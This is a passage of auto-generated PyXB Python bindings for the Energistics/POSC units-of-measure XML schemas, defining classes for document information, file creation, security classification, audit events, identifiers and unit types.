'__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasFileCreationInformation', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2), ) FileCreationInformation = property(__FileCreationInformation.value, __FileCreationInformation.set, None, '\nThe information about the creation of the exchange file. This is not about\nthe creation of the data within the file, but the creation of the file itself.\n ') # Element {http://www.posc.org/schemas}SecurityInformation uses Python identifier SecurityInformation __SecurityInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation'), 'SecurityInformation', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasSecurityInformation', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2), ) SecurityInformation = property(__SecurityInformation.value, __SecurityInformation.set, None, '\nInformation about the security to be applied to this file. More than one\nclassification can be given.\n ') # Element {http://www.posc.org/schemas}Disclaimer uses Python identifier Disclaimer __Disclaimer = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer'), 'Disclaimer', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDisclaimer', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2), ) Disclaimer = property(__Disclaimer.value, __Disclaimer.set, None, '\nA free-form string that allows a disclaimer to accompany the information.\n ') # Element {http://www.posc.org/schemas}AuditTrail uses Python identifier AuditTrail __AuditTrail = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail'), 'AuditTrail', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasAuditTrail', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2), ) AuditTrail = property(__AuditTrail.value, __AuditTrail.set, None, '\nA collection of events that can document the history of the data.\n ') # Element {http://www.posc.org/schemas}DataOwnerRef uses Python identifier DataOwnerRef __DataOwnerRef = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef'), 'DataOwnerRef', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDataOwnerRef', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4), ) DataOwnerRef = property(__DataOwnerRef.value, __DataOwnerRef.set, None, None) # Element {http://www.posc.org/schemas}DataOwnerID uses Python identifier DataOwnerID __DataOwnerID = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID'), 'DataOwnerID', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDataOwnerID', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4), ) DataOwnerID = property(__DataOwnerID.value, __DataOwnerID.set, None, None) # Element {http://www.posc.org/schemas}Comment uses Python identifier Comment __Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2), ) Comment = property(__Comment.value, __Comment.set, None, '\nAn optional comment about the document.\n ') # Attribute modver uses Python identifier modver __modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_documentInfoType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='1.1') __modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 142, 1) __modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 142, 1) modver = property(__modver.value, __modver.set, None, None) _ElementMap.update({ __DocClasses.name() : __DocClasses, __DocumentName.name() : __DocumentName, __DocumentAlias.name() : __DocumentAlias, __DocumentDate.name() : __DocumentDate, __FileCreationInformation.name() : __FileCreationInformation, __SecurityInformation.name() : __SecurityInformation, __Disclaimer.name() : __Disclaimer, __AuditTrail.name() : __AuditTrail, __DataOwnerRef.name() : __DataOwnerRef, __DataOwnerID.name() : __DataOwnerID, __Comment.name() : __Comment }) _AttributeMap.update({ __modver.name() : __modver }) _module_typeBindings.documentInfoType = documentInfoType Namespace.addCategoryObject('typeBinding', 'documentInfoType', documentInfoType) # Complex type {http://www.posc.org/schemas}fileCrType with content type ELEMENT_ONLY class fileCrType (pyxb.binding.basis.complexTypeDefinition): """ A block of information about the creation of the XML file. This is different than the creation of the data that is included within the file. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'fileCrType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 145, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}FileCreationDate uses Python identifier FileCreationDate __FileCreationDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate'), 'FileCreationDate', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasFileCreationDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2), ) FileCreationDate = property(__FileCreationDate.value, __FileCreationDate.set, None, '\nThe date and/or time that the file was created.\n ') # Element {http://www.posc.org/schemas}SoftwareName uses Python identifier SoftwareName __SoftwareName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName'), 'SoftwareName', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasSoftwareName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2), ) SoftwareName = property(__SoftwareName.value, __SoftwareName.set, None, '\nIf appropriate, the software that created the file. This is a free form\nstring, and may include whatever information is deemed relevant.\n ') # Element {http://www.posc.org/schemas}FileCreator uses Python identifier FileCreator __FileCreator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreator'), 'FileCreator', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasFileCreator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2), ) FileCreator = property(__FileCreator.value, __FileCreator.set, None, '\nThe person or business associate that created the file. This is a free\nform string.\n ') # Element {http://www.posc.org/schemas}Comment uses Python identifier Comment __Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2), ) Comment = property(__Comment.value, __Comment.set, None, '\nAny comment that would be useful to further explain the creation of this\ninstance document.\n ') _ElementMap.update({ __FileCreationDate.name() : __FileCreationDate, __SoftwareName.name() : __SoftwareName, __FileCreator.name() : __FileCreator, __Comment.name() : __Comment }) _AttributeMap.update({ }) _module_typeBindings.fileCrType = fileCrType Namespace.addCategoryObject('typeBinding', 'fileCrType', fileCrType) # Complex type {http://www.posc.org/schemas}securityInfoType with content type ELEMENT_ONLY class securityInfoType (pyxb.binding.basis.complexTypeDefinition): """ Information about the security classification of the document. This is intended as a documentation of the security so that the file will not inadvertently be sent to someone who is not allowed access to the data. This block also carries a date that the security classification expires. For example, a well log is confidential for a period of time, and then becomes open. All security classes are characterized by their classification systems. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'securityInfoType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 187, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Class uses Python identifier Class __Class = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Class'), 'Class', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasClass', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2), ) Class = property(__Class.value, __Class.set, None, '\nThe security class in which this document is classified. Examples would \nbe confidential, partner confidential, tight. The meaning of the class is\ndetermined by the System in which it is defined.\n ') # Element {http://www.posc.org/schemas}System uses Python identifier System __System = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'System'), 'System', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasSystem', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2), ) System = property(__System.value, __System.set, None, '\nThe security classification system. This gives context to the meaning of the\nClass value.\n ') # Element {http://www.posc.org/schemas}EndDate uses Python identifier EndDate __EndDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'EndDate'), 'EndDate', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasEndDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2), ) EndDate = property(__EndDate.value, __EndDate.set, None, '\nThe date on which this security class is no longer applicable.\n ') # Element {http://www.posc.org/schemas}Comment uses Python identifier Comment __Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2), ) Comment = property(__Comment.value, __Comment.set, None, '\nA general comment to further define the security class.\n ') _ElementMap.update({ __Class.name() : __Class, __System.name() : __System, __EndDate.name() : __EndDate, __Comment.name() : __Comment }) _AttributeMap.update({ }) _module_typeBindings.securityInfoType = securityInfoType Namespace.addCategoryObject('typeBinding', 'securityInfoType', securityInfoType) # Complex type {http://www.posc.org/schemas}auditType with content type ELEMENT_ONLY class auditType (pyxb.binding.basis.complexTypeDefinition): """ The audit records what happened to the data, to produce the data that is in this file. It consists of one or more events. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'auditType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 234, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Event uses Python identifier Event __Event = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Event'), 'Event', '__httpwww_posc_orgschemas_auditType_httpwww_posc_orgschemasEvent', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2), ) Event = property(__Event.value, __Event.set, None, None) _ElementMap.update({ __Event.name() : __Event }) _AttributeMap.update({ }) _module_typeBindings.auditType = auditType Namespace.addCategoryObject('typeBinding', 'auditType', auditType) # Complex type {http://www.posc.org/schemas}eventType with content type ELEMENT_ONLY class eventType (pyxb.binding.basis.complexTypeDefinition): """ An event type captures the basic information about an event that has affected the data. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'eventType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 246, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}EventDate uses Python identifier EventDate __EventDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'EventDate'), 'EventDate', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasEventDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2), ) EventDate = property(__EventDate.value, __EventDate.set, None, '\nThe date on which the event took place.\n ') # Element {http://www.posc.org/schemas}ResponsiblePartyRef uses Python identifier ResponsiblePartyRef __ResponsiblePartyRef = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef'), 'ResponsiblePartyRef', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasResponsiblePartyRef', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3), ) ResponsiblePartyRef = property(__ResponsiblePartyRef.value, __ResponsiblePartyRef.set, None, None) # Element {http://www.posc.org/schemas}ResponsiblePartyID uses Python identifier ResponsiblePartyID __ResponsiblePartyID = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID'), 'ResponsiblePartyID', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasResponsiblePartyID', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3), ) ResponsiblePartyID = property(__ResponsiblePartyID.value, __ResponsiblePartyID.set, None, None) # Element {http://www.posc.org/schemas}Comment uses Python identifier Comment __Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2), ) Comment = property(__Comment.value, __Comment.set, None, '\nA free form comment that can further define the event that occurred.\n ') _ElementMap.update({ __EventDate.name() : __EventDate, __ResponsiblePartyRef.name() : __ResponsiblePartyRef, __ResponsiblePartyID.name() : __ResponsiblePartyID, __Comment.name() : __Comment }) _AttributeMap.update({ }) _module_typeBindings.eventType = eventType Namespace.addCategoryObject('typeBinding', 'eventType', eventType) # Complex type {http://www.posc.org/schemas}abstractFeatureType with content type ELEMENT_ONLY class abstractFeatureType (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.posc.org/schemas}abstractFeatureType with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'abstractFeatureType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 282, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Text uses Python identifier Text __Text = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Text'), 'Text', '__httpwww_posc_orgschemas_abstractFeatureType_httpwww_posc_orgschemasText', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4), ) Text = property(__Text.value, __Text.set, None, None) _ElementMap.update({ __Text.name() : __Text }) _AttributeMap.update({ }) _module_typeBindings.abstractFeatureType = abstractFeatureType Namespace.addCategoryObject('typeBinding', 'abstractFeatureType', abstractFeatureType) # Complex type {http://www.posc.org/schemas}identifierType with content type ELEMENT_ONLY class identifierType (pyxb.binding.basis.complexTypeDefinition): """ A common way for handling names of objects. An identifier type must include a Name. It may also include a NamingSystem, which gives meaning to the name. Since Names and NamingSystems may change with time, it may also include a Version, to further refine the meaning of the name. Note that this three-part structure is based on the ISO Identifier type. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'identifierType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 288, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Name uses Python identifier Name __Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4), ) Name = property(__Name.value, __Name.set, None, '\nThe name of the object being identified. It may or may not be a unique name, depending on the use of this type. When used as an "identifier," it should be a unique name, within the naming system. When used as an "alias," the name is not required to be unique.\n ') # Element {http://www.posc.org/schemas}NamingSystem uses Python identifier NamingSystem __NamingSystem = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem'), 'NamingSystem', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasNamingSystem', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6), ) NamingSystem = property(__NamingSystem.value, __NamingSystem.set, None, "\nThe naming system under which the name is defined. For example, if the name is a person's social security number, the naming system would be SSN, or some equivalent code which represents that the name is a social security number. Since naming system may be a code, there are two attributes (nameRef and systemList), which may be used to lead an application to a registry, where meaning can be obtained for the code. \n ") # Element {http://www.posc.org/schemas}Version uses Python identifier Version __Version = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Version'), 'Version', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasVersion', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6), ) Version = property(__Version.value, __Version.set, None, '\nWhen a naming system is declared, it may be further qualified by giving a version of the\nnaming system. This is needed only when a group puts out a new set of names that are not\nbackward compatible with a previous list.\n ') # Element {http://www.posc.org/schemas}Comment uses Python identifier Comment __Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4), ) Comment = property(__Comment.value, __Comment.set, None, None) _ElementMap.update({ __Name.name() : __Name, __NamingSystem.name() : __NamingSystem, __Version.name() : __Version, __Comment.name() : __Comment }) _AttributeMap.update({ }) _module_typeBindings.identifierType = identifierType Namespace.addCategoryObject('typeBinding', 'identifierType', identifierType) # Complex type {http://www.posc.org/schemas}referenceToType with content type EMPTY class referenceToType (pyxb.binding.basis.complexTypeDefinition): """ A reference, with no content. The only attribute is href, which is a reference to another instance. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'referenceToType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 328, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Attribute href uses Python identifier href __href = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'href'), 'href', '__httpwww_posc_orgschemas_referenceToType_href', pyxb.binding.datatypes.string, required=True) __href._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 334, 1) __href._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 334, 1) href = property(__href.value, __href.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __href.name() : __href }) _module_typeBindings.referenceToType = referenceToType Namespace.addCategoryObject('typeBinding', 'referenceToType', referenceToType) # Complex type [anonymous] with content type ELEMENT_ONLY class CTD_ANON (pyxb.binding.basis.complexTypeDefinition): """Complex type [anonymous] with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 25, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}DocumentInformation uses Python identifier DocumentInformation __DocumentInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), 'DocumentInformation', '__httpwww_posc_orgschemas_CTD_ANON_httpwww_posc_orgschemasDocumentInformation', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0), ) DocumentInformation = property(__DocumentInformation.value, __DocumentInformation.set, None, '\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ') # Element {http://www.posc.org/schemas}UnitsDefinition uses Python identifier UnitsDefinition __UnitsDefinition = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition'), 'UnitsDefinition', '__httpwww_posc_orgschemas_CTD_ANON_httpwww_posc_orgschemasUnitsDefinition', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6), ) UnitsDefinition = property(__UnitsDefinition.value, __UnitsDefinition.set, None, None) # Attribute version uses Python identifier version __version = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'version'), 'version', '__httpwww_posc_orgschemas_CTD_ANON_version', pyxb.binding.datatypes.string) __version._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 36, 4) __version._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 36, 4) version = property(__version.value, __version.set, None, 'The version of the dictionary. Optional.') _ElementMap.update({ __DocumentInformation.name() : __DocumentInformation, __UnitsDefinition.name() : __UnitsDefinition }) _AttributeMap.update({ __version.name() : __version }) _module_typeBindings.CTD_ANON = CTD_ANON # Complex type [anonymous] with content type ELEMENT_ONLY class CTD_ANON_ (pyxb.binding.basis.complexTypeDefinition): """Complex type [anonymous] with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 29, 8) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}UnitOfMeasure uses Python identifier UnitOfMeasure __UnitOfMeasure = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure'), 'UnitOfMeasure', '__httpwww_posc_orgschemas_CTD_ANON__httpwww_posc_orgschemasUnitOfMeasure', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12), ) UnitOfMeasure = property(__UnitOfMeasure.value, __UnitOfMeasure.set, None, None) _ElementMap.update({ __UnitOfMeasure.name() : __UnitOfMeasure }) _AttributeMap.update({ }) _module_typeBindings.CTD_ANON_ = CTD_ANON_ # Complex type {http://www.posc.org/schemas}explicitType with content type SIMPLE class explicitType (pyxb.binding.basis.complexTypeDefinition): """ If isExplicit is true, the uom is explicitly contained in and defined in the referenced catalog. If isExplicity is false, the uom is implicitly present. For example, a catalog may contain a metre (m), and a second (s), and allow a units algebra. Thus, the unit of velocity, metre/second (m/s), may not explicitly be in the catalog. But it is implied by the algebra which allows units division. """ _TypeDefinition = pyxb.binding.datatypes.string _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'explicitType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 297, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.string # Attribute isExplicit uses Python identifier isExplicit __isExplicit = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'isExplicit'), 'isExplicit', '__httpwww_posc_orgschemas_explicitType_isExplicit', pyxb.binding.datatypes.boolean) __isExplicit._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 310, 6) __isExplicit._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 310, 6) isExplicit = property(__isExplicit.value, __isExplicit.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __isExplicit.name() : __isExplicit }) _module_typeBindings.explicitType = explicitType Namespace.addCategoryObject('typeBinding', 'explicitType', explicitType) # Complex type {http://www.posc.org/schemas}baseUnitType with content type ELEMENT_ONLY class baseUnitType (pyxb.binding.basis.complexTypeDefinition): """ A base unit, by our defintion, is one which represents a type of quantity, and therefore has no conversion. It is the unit to which all others of the quantity type are referenced. Base units may be among the basic types defined by ISO (m, s, K, etc), or they may be units derived from these using units algebra (m/s, Newtons, Pascals, etc). The definition (description) of the unit may be given, along with the Basic Authority which defines it. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'baseUnitType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 315, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}Description uses Python identifier Description __Description = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Description'), 'Description', '__httpwww_posc_orgschemas_baseUnitType_httpwww_posc_orgschemasDescription', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 327, 2), ) Description = property(__Description.value, __Description.set, None, None) # Element {http://www.posc.org/schemas}BasicAuthority uses Python identifier BasicAuthority __BasicAuthority = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BasicAuthority'), 'BasicAuthority', '__httpwww_posc_orgschemas_baseUnitType_httpwww_posc_orgschemasBasicAuthority', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 328, 2), ) BasicAuthority = property(__BasicAuthority.value, __BasicAuthority.set, None, None) _ElementMap.update({ __Description.name() : __Description, __BasicAuthority.name() : __BasicAuthority }) _AttributeMap.update({ }) _module_typeBindings.baseUnitType = baseUnitType Namespace.addCategoryObject('typeBinding', 'baseUnitType', baseUnitType) # Complex type {http://www.posc.org/schemas}sameUnitType with content type EMPTY class sameUnitType (pyxb.binding.basis.complexTypeDefinition): """ Information from several catalogs may be recorded by stating that uoms from different catalogs are the same. This is generally given by the uom "symbol" in another catalog, along with the naming system. The uom may alternatively be resolved as an actual reference to another XML registry, although this interpretation is not required. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'sameUnitType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 332, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Attribute uom uses Python identifier uom __uom = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'uom'), 'uom', '__httpwww_posc_orgschemas_sameUnitType_uom', pyxb.binding.datatypes.string, required=True) __uom._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 342, 2) __uom._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 342, 2) uom = property(__uom.value, __uom.set, None, None) # Attribute namingSystem uses Python identifier namingSystem __namingSystem = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'namingSystem'), 'namingSystem', '__httpwww_posc_orgschemas_sameUnitType_namingSystem', pyxb.binding.datatypes.string) __namingSystem._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 343, 2) __namingSystem._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 343, 2) namingSystem = property(__namingSystem.value, __namingSystem.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __uom.name() : __uom, __namingSystem.name() : __namingSystem }) _module_typeBindings.sameUnitType = sameUnitType Namespace.addCategoryObject('typeBinding', 'sameUnitType', sameUnitType) # Complex type {http://www.posc.org/schemas}compositeUnitType with content type ELEMENT_ONLY class compositeUnitType (pyxb.binding.basis.complexTypeDefinition): """ A composite unit may be defined by giving the units and the exponents needed to form the composite. For example, a square foot would be a single UnitTerm, with uom attribute = 'ft', and exponent attriube = '2'. A Newton (kg.m/s2) would be three terms, with the kg (kilogram) unit having an exponent = '1', a m (metre) unit with exponent = '1', and a s (second) unit having exponent = '-2'. """ _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'compositeUnitType') _XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 346, 0) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.posc.org/schemas}UnitTerm uses Python identifier UnitTerm __UnitTerm = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitTerm'), 'UnitTerm', '__httpwww_posc_orgschemas_compositeUnitType_httpwww_posc_orgschemasUnitTerm', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 358, 4), ) UnitTerm = property(__UnitTerm.value, __UnitTerm.set, None, None) _ElementMap.update({ __UnitTerm.name() : __UnitTerm }) _AttributeMap.update({ }) _module_typeBindings.compositeUnitType = compositeUnitType Namespace.addCategoryObject('typeBinding', 'compositeUnitType', 